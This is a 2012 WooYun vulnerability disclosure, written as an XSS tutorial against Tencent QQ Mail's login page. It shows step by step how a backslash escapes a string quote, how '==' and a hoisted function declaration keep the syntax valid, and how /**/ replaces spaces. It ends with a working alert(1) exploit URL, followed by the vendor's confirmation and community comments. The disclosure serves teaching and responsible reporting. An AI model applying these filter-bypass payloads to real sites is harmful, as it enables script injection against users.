漏洞概要 关注数(66) 关注此漏洞

缺陷编号: WooYun-2012-15979

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 5. 反斜线复仇记

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2012-12-13 21:55

公开时间: 2013-01-27 21:55

漏洞类型: xss跨站脚本攻击

危害等级: 低

自评Rank: 1

漏洞状态: 厂商已经确认

Tags标签: 反射型xss

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-13: 细节已通知厂商并且等待厂商处理中
2012-12-17: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向核心白帽子及相关领域专家公开
2013-01-06: 细节向普通白帽子公开
2013-01-16: 细节向实习白帽子公开
2013-01-27: 细节向公众公开

简要描述:

还是在<script>之间的场景,某些情况下,我们仅仅需要的只是一个反斜线,就可以绕过过滤了。

详细说明:

1. 有以下实例点。



http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1





对应的输出,如下图所示:



picture\4_17.jpg





经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。



picture\7_18.jpg





那么这里是否可以成功的XSS呢? 我们把缺陷代码部分提取出来。



<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>





2. 可以看到有缺陷的部分是

location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。





我们可以控制的是 aaaa ,又不能用",怎么办呢?



因为我们可以使用 \,那么我们可以杀掉 aaaa 后面的 双引号。



location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";





可以看到代码的结果因为一个反斜线发生了变化,如下图:



picture\9_131945143a1a6ebfa1fe861100de697e8a9421cc.jpg





为了保证 bbb 后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上 // 来注释掉后面的部分。变成以下形式。



location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";





3. 看起来不错哦,但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式。



location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";





由于==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)



4. 更顺眼了,但是还是会悲剧啊。由于from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?



5. 别紧张,javascript里有一个特性。 如下:



aaa();

function aaa(){

}





凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说:



解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是:



function aaa(){

}

aaa();





利用这样一个特性,我们的代码可以改改。



location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";





这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1的时候,就不会报错啦~~



6. 故事往往是曲折的,到了这一步,我们会发现还是不行。



看一看源代码吧~~ ,哎,我们的空格被转义为了 &nbsp;



picture\13_20.jpg





7. 当然,这么一点小事情,难不到我们的,我们用注释符来做分隔符。 /**/替换空格,有没有觉得和 sql注入一样了,咔咔。



于是,我们的代码变为了:



location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";





8. 嗯,这次没有语法错误了,我们插入我们自己的JS代码。



location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";





最终的利用代码如下:



http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1





----------------------------



恩,这次是我们的 反斜线为 双引号报仇啦!

漏洞证明:

picture\16_21.jpg





只有在不登录QQ邮箱的情况下触发,比较鸡肋,实际意义不大,仅供研究。

修复方案:

1. 随便修修就好。

2. 某些情况下,\ 还是很危险的。

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-12-17 14:58

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评论

  1. 2012-12-13 21:57 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    哎呀~~

  2. 2012-12-13 21:59 | possible (核心白帽子 | Rank:361 漏洞数:31 | everything is possible!)
    0

    学都跟不上 这脚本太快了

  3. 2012-12-13 22:20 | D&G ( 实习白帽子 | Rank:28 漏洞数:6 | linux 爱好者。低调球发展)
    0

    晚上不睡了,做等直播

  4. 2012-12-13 22:32 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    @D&G 别等了,等公开吧。。

  5. 2012-12-13 22:35 | D&G ( 实习白帽子 | Rank:28 漏洞数:6 | linux 爱好者。低调球发展)
    0

    @鬼魅羊羔 万一太阳不出来了怎么办~~

  6. 2012-12-13 22:55 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    @D&G 那咱们都别等了。。。没时间了。。

  7. 2012-12-13 22:56 | 蓝风 ( 普通白帽子 | Rank:123 漏洞数:23 | ‮#知我者謂我心憂 不知我者謂我何求#)
    0

    我想关注@心伤的瘦子 ,请问@xsser 提供这功能么

  8. 2012-12-13 23:05 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    @蓝风 你可以选择包养他。。。

  9. 2012-12-13 23:11 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @D&G 今天码字码累了,明天再继续。

  10. 2012-12-13 23:27 | D&G ( 实习白帽子 | Rank:28 漏洞数:6 | linux 爱好者。低调球发展)
    0

    @心伤的瘦子 明天继续关注~~真心可以出书了

  11. 2012-12-13 23:27 | 鬼魅羊羔 ( 普通白帽子 | Rank:164 漏洞数:25 | 不许动!我是警察!)
    0

    @心伤的瘦子 剑总,明天继续。。。

  12. 2012-12-13 23:57 | p.z (核心白帽子 | Rank:341 漏洞数:29 | 我在沉默中被放屁惊醒)
    0

    @xsser 赶紧出关注功能啊。

  13. 2012-12-13 23:58 | Fate ( 实习白帽子 | Rank:47 漏洞数:4 | www.0hk.org)
    0

    修补之后 希望马上在zone提供打包下载 洞主一生平安。。。。关注之

  14. 2012-12-14 09:00 | 子墨 ( 实习白帽子 | Rank:51 漏洞数:8 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)
    0

    感觉像gainover的风格...

  15. 2012-12-14 09:09 | D&G ( 实习白帽子 | Rank:28 漏洞数:6 | linux 爱好者。低调球发展)
    0

    @心伤的瘦子 早~~

  16. 2012-12-14 09:55 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @D&G 早

  17. 2012-12-14 12:27 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @p.z 为支持连载 本周内上线关注心伤序列功能

  18. 2012-12-14 16:09 | 街球幽灵 ( 实习白帽子 | Rank:15 漏洞数:3 | just for you --得之我幸..失之我命!!)
    0

    继续关注~~

  19. 2013-01-18 19:05 | s1Ng4r ( 实习白帽子 | Rank:8 漏洞数:1 | I am not hacker & not honker&And I know ...)
    0

    真挺好 学习了

  20. 2013-01-28 08:59 | unxss ( 实习白帽子 | Rank:12 漏洞数:4 )
    0

    很精彩

  21. 2013-01-28 13:17 | softbug ( 实习白帽子 | Rank:52 漏洞数:8 | 为人类设计最好的软件,解放人的双手,一起...)
    0

    真正的xss帝

  22. 2013-02-17 13:58 | saber ( 实习白帽子 | Rank:8 漏洞数:1 | My love,my hope,all goes by~)
    0

    支持。。